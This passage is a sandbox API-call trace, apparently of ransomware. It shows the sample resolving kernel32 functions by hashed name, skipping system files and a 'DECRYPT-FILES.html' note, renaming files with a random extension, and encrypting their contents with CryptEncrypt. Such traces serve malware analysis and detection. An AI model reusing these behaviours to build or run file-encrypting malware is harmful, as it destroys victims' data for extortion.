lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0111.610] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0111.610] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0111.610] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0111.610] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0111.610] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0111.610] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0111.610] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0111.610] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0111.610] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0111.610] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0111.610] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0111.610] lstrlenA (lpString="CREATETHREAD") returned 12 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0111.610] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0111.610] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0111.610] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0111.611] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0111.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0111.611] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0111.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0111.611] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0111.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0111.611] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0111.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0111.611] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0111.611] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0111.611] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.PBizI") returned 50 [0111.611] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.PBizI" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.pbizi"), dwFlags=0x0) returned 1 [0111.612] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.612] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.612] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.613] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0111.613] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0111.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\") returned 27 [0111.613] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.613] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1025\\" | out: lpString1="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0111.613] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" [0111.613] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0111.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0111.614] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=17240) returned 1 [0111.614] CreateFileMappingW (hFile=0x46c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x53c [0111.614] MapViewOfFile (hFileMappingObject=0x53c, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0112.700] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3b60000 | out: pbBuffer=0x3b60000) returned 1 [0112.700] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3b60020 | out: pbBuffer=0x3b60020) returned 1 [0112.701] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0113.006] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0113.006] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0113.789] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.790] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0113.790] CloseHandle (hObject=0x53c) returned 1 [0113.790] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.790] WriteFile (in: hFile=0x46c, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0114.101] CloseHandle (hObject=0x0) returned 0 [0114.101] CloseHandle (hObject=0x46c) returned 1 [0114.102] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.591] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.591] GetTickCount () returned 0x321c2 [0114.591] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0114.591] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0114.591] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0114.592] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x38d0000 [0114.592] lstrlenA (lpString="kernel32.dll") returned 12 [0114.592] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0114.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0114.592] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0114.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0114.592] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0114.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0114.592] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0114.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0114.593] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0114.593] lstrlenA (lpString="ADDATOMA") returned 8 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0114.593] lstrlenA (lpString="ADDATOMW") returned 8 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0114.593] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0114.593] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0114.593] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0114.593] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0114.593] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0114.593] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0114.593] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0114.593] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0114.593] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0114.593] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0114.593] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0114.593] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0114.593] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0114.593] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0114.593] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0114.593] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0114.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0114.594] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0114.594] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0114.594] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0114.594] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0114.594] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0114.594] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0114.594] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0114.594] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0114.594] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0114.594] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0114.594] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0114.594] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0114.594] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0114.594] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0114.594] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0114.594] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0114.594] lstrlenA (lpString="BACKUPREAD") returned 10 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0114.594] lstrlenA (lpString="BACKUPSEEK") returned 10 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0114.594] lstrlenA (lpString="BACKUPWRITE") returned 11 [0114.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0114.594] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0114.595] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0114.595] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0114.595] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0114.595] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0114.595] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0114.595] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0114.595] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0114.595] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0114.595] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0114.595] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0114.595] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0114.595] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0114.595] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0114.595] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0114.595] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0114.595] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0114.595] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0114.595] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0114.595] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0114.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0114.596] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0114.596] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0114.596] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0114.596] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0114.596] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0114.596] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0114.596] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0114.596] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0114.596] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0114.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0114.596] lstrlenA 